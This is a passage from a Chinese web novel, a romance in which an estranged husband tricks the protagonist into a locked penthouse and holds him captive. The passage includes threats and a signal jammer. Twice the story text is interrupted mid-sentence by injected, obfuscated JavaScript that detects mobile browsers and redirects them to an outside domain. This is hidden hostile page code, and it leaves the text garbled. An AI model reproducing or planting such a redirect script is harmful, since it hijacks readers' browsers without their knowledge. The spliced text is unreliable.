来到影音室,傅识云:“你喜欢看什么类型的电影?” “悬疑的。” “这么巧,我也喜欢。”傅识云边说边调出观影记录,全是悬疑题材的电影,将遥控器交给曲颂,“你选,我去切点水果。” 曲颂选了部国外新出的悬疑电影,放大屏幕,等傅识云回来。 十几分钟后,傅识云端着果盘和两杯咖啡走了进来。一切准备就绪,电影开始播放。起初曲颂还在沙发上坐着,中途去了趟洗手间,回来后直接挪了个窝,坐在了地毯上,后背靠着茶几。 看到这一幕的傅识云立即决定把纯棉地毯换成进口羊绒的,坐着软和。再加个懒人沙发,想坐哪儿就坐哪儿。 电影看完,时间也差不多了。两人从影音室出来,傅识云:“你睡次卧吧。朝阳,有独立洗手间,洗漱用品也都有。” 曲颂点点头:“好。” 西瓜叼着灰色毛绒小熊跑到曲颂脚边,蹲坐在地上,摇着尾巴仰头看他。 曲颂摸不准:“这是要我陪它玩?” 傅识云笑着解释:“是让你陪它睡觉。这个小熊是它的阿贝贝,每次睡觉都得抱着。不过它得在床上睡,而且还得给它留门,不然它半夜出不去会叫。你要是介意的话还是让它跟我睡。” 曲颂想也不想:“不介意。” 傅识云不动声色看了眼西瓜,一时间竟有些羡慕。把自己卧室的宠物楼梯拿到曲颂房间,贴着床尾放好:“这样它就能自己上下床了。早点休息,晚安。” “晚安。” 曲颂去洗手间洗漱,洗完澡发现没有睡衣,不想麻烦对方,穿着浴袍就出去了。 西瓜已经搂着它的阿贝贝在床尾睡着了,曲颂也准备休息,手机突然响了。 看了眼来电显示,曲颂选择了接通。手机里传来宋琰可怜兮兮的声音:“我在楼下,外面下雨呢,我都被淋湿了。你跟我回家好不好?你不跟我回家我就不走了。” “今天淋雨、明天感冒、后天绝食,要是还达不到目的就开始玩自杀那一套。宋琰,除了逼我你还会做别的事吗?”曲颂没有丝毫怜惜,只有深深的反感。 “我没有逼你,我就是不想你和傅识云住在一起!他碰你了吗?”宋琰着了魔似的不停追问,“他没碰你是吧?是不是?!” 曲颂冷冷吐出四个字:“与你无关。” “曲颂!你的心是石头做的吗?!”没得到想听的答案,宋琰又开始破防了,冲着手机大吼,“我为了你什么低三下四的事都做了,你怎么就不能原谅我这一次!你难道就不犯错误吗?你难道是圣人吗?!” 曲颂没掉入宋琰的思维陷阱里:“我肯接你电话已经算仁慈了。赶紧把离婚协议签了,真起诉咱俩谁都不好看,而且我相信你家里也不会同意。” 宋琰完全沉浸在自己的想法里了,丝毫没把曲颂的话听进去,恶狠狠道:“你要和敢和别的男人上床,我就把你关起来,让你一辈子也离不开我!我说到做到!” 曲颂懒得听他发疯,直接挂断了电话。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15841107|174781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > - 翌日,傅识云准时起床,走到曲颂房间门口,整个人猛地一顿。 顺着被西瓜顶开的门缝,傅识云看到曲颂面朝门口侧躺在床上,呼吸起伏平稳。被子随意搭在腰上,胸口露出一大片肌肤,两条白皙修长的腿自然屈起,脚踝纤细。 傅识云强迫自己移开目光,好在西瓜听到声音从里面出来了。担心它叫吵醒曲颂,傅识云连忙做了个“嘘”的手势,轻掩上门,带着西瓜出去遛弯。 曲颂难得睡了个安稳觉,睡醒后发现傅识云和西瓜都不在,知道他们是出去了。给西瓜的碗里添上狗粮和水,抬脚去厨房准备早餐。 傅识云开门进来,听到厨房有动静,走过去一看,曲颂正在做煎饺,底部已经形成了一层薄薄的锅巴,金黄焦脆,看得人食欲大动。 “你怎么什么都会,看着就好吃。”傅识云不吝赞美,又紧跟着道,“辛苦了,明天换我来。” 曲颂愣了下,应了声:“好。” 说来可能夸张,他一次也没吃过宋琰做的饭。两个人吃饭,要么他下厨,要么出去吃。 吃过早饭,傅识云准备去公司,问曲颂要不要一起去。曲颂拒绝了:“我去给菜地浇水。” 等傅识云离开,曲颂开车载着西瓜去别墅给菜地浇水。浇完了觉得哪里不对,一转身,看到西瓜正在浇过水的地里打滚,顿觉眼前一黑。叹了口气并未阻止,已经脏了,不如让它玩得尽兴。 曲颂一边看着西瓜玩一边给傅识云发消息:【你平时在哪家宠物店给西瓜洗澡?】 傅识云:【我前几天才带它去过,暂时不用洗。】 下一秒,傅识云收到了一张照片,白色糯米团子爆改无敌脏脏包,默默将宠物店名字发了过去。 给西瓜洗完澡已经是中午,曲颂带着它找了家餐厅吃午饭。正吃着,收到了傅识云的消息:【我出趟差,大概四五天。你安心住着,有事随时给我打电话。】 曲颂回了句:【好。一切顺利。】 抬手揉了揉西瓜的小脑袋:“你爸爸出差了,你这几天归我了。” 晚上,曲颂抱着西瓜在影音室里看电影,手机收到一条短信:[离婚协议我签好了,你过来拿吧。] 曲颂看了眼时间,马上十一点了,回复:[很晚了,明天吧。] 宋琰:[你不怕我明天反悔撕了吗?现在就过来。] 曲颂自然不想再拖下去:[地址。] 宋琰发过来一个小区的地址,精准到单元号和门牌号。 曲颂以为是宋琰的新家,并没多想,关掉投影仪,抱起西瓜回到卧室,把它放在床上:“乖乖在家,我很快就回来。” 西瓜冲曲颂叫了两声。 “不能带你,太晚了。”曲颂俯身亲了西瓜一口,“走了,拜拜。” 来到地库,曲颂把宋琰发来的地址复制到导航软件上,驱车朝着目的地赶去。 23.笼中雀 跨了两个城区,曲颂到时已经快凌晨了。停好车,给宋琰发短信:[我在小区门口,你拿着离婚协议书下来吧。] 宋琰:[你进来,我不想下去。] 曲颂:[我进不去。] 这小区在整个江北市都排的上号,外来车辆怎么可能进得去。 宋琰:[进的来,我提前打过招呼了。] 曲颂无奈,只能试着将车开到小区入口,保安探着脑袋看了他一眼,还真放行了。来到楼下,找位置停好车,曲颂又被卡在了单元楼门外,压着火气点开短信:[我在楼下,你总能出来了吧?] 几分钟后,宋琰出现在单元楼门前,目不转睛地看着曲颂:“终于是你来找我了。” “离婚协议呢?”曲颂问。 “在家里,跟我上去拿吧。”宋琰刷卡开门,“拿了你就自由了。” 曲颂狐疑地看了宋琰一眼,跟他一起进了电梯。高速电梯很快抵达顶层,入户厅宽敞奢华,地上并排摆着两双男士拖鞋。曲颂皱了皱眉,这是家里他和宋琰的拖鞋:“你把它们拿过来做什么?” “那个家你不是不要了吗?我拿点东西也不行?”宋琰语气平静地问。 “随便你。”曲颂站在门口,“我就不进去了,你把离婚协议拿出来给我就行了” “不至于吧曲颂,我又不是什么洪水猛兽,犯不着这么谨小慎微。离婚协议书就在里面,想要就自己进来拿。或者回去也行,回去了你这辈子都别想离婚,正合我意。”宋琰说完扔下曲颂径直走进去,站在门口等他。 曲颂犹豫几秒,想着宋琰总不能吃了自己,换上拖鞋跟着进去了。 听到关门声,曲颂回头看了宋琰一眼:“离婚协议书呢?” 宋琰走到曲颂身边,答非所问:“你觉得这栋房子怎么样?喜欢吗?” 起码四百平以上的豪华大平层,坐落在最繁华的地段。曲颂面色平静道:“之前住的房子委屈你了,这栋房子才配得上你宋家长孙的身份。” “如果可以,我倒希望可以一直住在那里。” 曲颂不应他的话,催促:“离婚协议书。” “傅识云的房子是不是也这么大?有这栋好吗?应该没有,这栋楼是最近几年新建成的。”宋琰一边打量房子一边想象着曲颂住进来的情景。 曲颂皱眉:“我不想和你聊这些没用的,离婚协议书在哪?” “撕了。” “宋琰,你拿我当傻子吗?!”曲颂顿时来了脾气。 宋琰勾唇笑了笑:“不这么说你愿意来吗?” 曲颂终于意识到哪里不对了。昨晚还在电话里声嘶力竭的人,今天竟然如此不急不躁,整个人透着一股诡异的平静。 心里涌上一股寒意,曲颂大步走到门口想要离开,却发现门怎么也打不开,转头瞪着不远处的人:“宋琰你要干什么?!” “这栋房子是我精心挑选的,我要把你放在里面。”宋琰说话时的神态好像在珍藏心爱的手办。 “你他妈疯了吗?!”曲颂心里卷起惊涛骇浪,开始用力砸门。 “没用的。”宋琰气定神闲,“这两扇门连炸--弹都防得住,你砸不开的,别伤了手。” 曲颂迅速冷静下来,拿出手机要打电话,听到宋琰轻轻笑了声:“我放了信号屏蔽器,改装过,紧急电话都打不出去。” 手机果然没有信号,曲颂不死心地试了试紧急电话,发现真的不行。他抬起头,难以置信:“宋琰你疯了吗?你知不知道自己在做什么?!” 他以为昨天电话里宋琰只是在说疯话,没想到竟然真做得出来! “你现在放我出去,我可以什么都不追究。”曲颂后背贴在门上,做出防御姿态。 “我一直都挺好奇你是怎么做到的,说不爱就不爱了,没有一点回转的余地,就好像之前对我的好都是演出来的一样。我真想把你的挖出来看看,到底是不是石头做的。”宋琰边说边慢慢靠近曲颂。 曲颂戒备地看着宋琰:“你听过一句话吗?冰冻三尺非一日之寒。” 宋琰眼里浮上深深的疑惑:“我做什么了?” 曲颂突然笑了,笑容讽刺,又在意料之中。这就是宋琰,以自我为中心,忽视他人的感受和需求,从来都学不会反思。 “宋琰,你难道丝毫不关心自己在外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847688|174781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人眼中的形象吗?好相处还是不好相处、内向还是外向……这些你统统不在乎吗?” “别人的想法与我何干?那是他们的事。”宋琰理直气壮。 “那我的感受呢?你有没有设身处为我想过?以我的感受和快乐为先。你没有,但我却一直在这么做。饭桌上永远都是你爱吃的饭菜;你不喜欢宠物,我哪怕再喜欢都没养;约会也好、出去吃饭也好,全部都去你喜欢的地方……”很多很多,无法细数。 有一类人获取爱的方式是付出爱。曲颂希望宋琰如何爱自己,于是先那样爱了他,然后期待从宋琰身上得到同样的爱。 宋琰是最不缺爱的,但不缺爱的人不一定会爱。于是曲颂从未得到。 宋琰皱眉:“这些事你为什么不早说?” “我说过啊。可每次你都会生气,我还得再低声下气地求和。所以后来我就不说了。” 眼泪控制不住从眼眶涌了出来,这是曲颂第三次因为宋琰哭。第一次是宋琰跨越整个太平洋回来陪他过生日的时候;第二次是宋琰为他挡刀性命垂危的时候;第三次便是现在。 “宋琰,你给了我炽热的爱,但也只是你想给的。”曲颂眼眶泛红,声音颤抖,“我却给了你我的一切了。” 爱、包容、迁就、奉献、隐忍……全部的全部,曲颂都给了宋琰。 “我早就累了,很累很累,却又舍不得。如果你没有出轨,我还不知道要耗到什么时候。”曲颂擦掉眼泪,冲宋琰洒脱一笑,“宋琰,谢谢你先放弃了我。” “我不会放弃你的!”宋琰猛地上前一步,紧紧抱住曲颂,生怕他逃走了一样,“你也别放弃我好不好?我们重新来过,这次换我来为你付出!我一定能做到!” 曲颂语气坚定:“不要。你要真的还爱我就把离婚协议书签了。” “不可能!”宋琰语气疯狂,爱不释手地摸着曲颂柔顺乌黑的发丝,恨不得把他吞到肚子里,“不要觉得靠起诉离婚就能摆脱我,我的手段你远没有尝过。所以不要逼我。” “我们之间不可能了。” “那你就永远待在这里吧,做我的笼中雀。”宋琰无比温柔道。